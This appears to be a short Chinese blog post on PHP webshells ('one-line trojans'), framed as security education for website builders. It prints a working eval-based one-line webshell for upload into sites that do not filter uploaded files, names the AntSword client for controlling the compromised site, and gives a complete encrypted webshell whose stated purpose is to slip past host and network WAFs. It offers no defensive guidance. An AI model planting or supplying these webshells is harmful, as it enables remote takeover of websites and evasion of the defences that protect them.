当谈到计算机安全时,"木马"经常被提及。这种恶意软件可以通过一行代码来危害你的计算机系统,其影响可能非常严重。虽然它可能只是一行代码,但是却可以打开恶意攻击者的门户,使他们能够在你的计算机上执行各种不良操作。本篇主要是通过对木马注入的讲解,提升网站建站者关于安全方面的知识。
以下是一些常见的注入方式:
📚 一句木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。 黑客多在注册信息的电子邮箱或者个人主页等中运行该木马。
若当前的网站建站者,未对上传文件进行过滤,我们上传一段PHH文件
php<?php @eval($_POST['shell']); ?>
这是php的一句话后门中最普遍的一种。它的工作原理是: 首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。 Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。
💡 注入PHP脚本后,可以使用蚁剑软件达到控制对应网站的行为。
📚 一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。这个时候攻击者往往会选择注入二进制加密木马进行攻击。
php<?php
@error_reporting(0);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="453df1fd1cf2943a"; //这一行为密码的md5的前16位
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>
本文作者:BARM
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!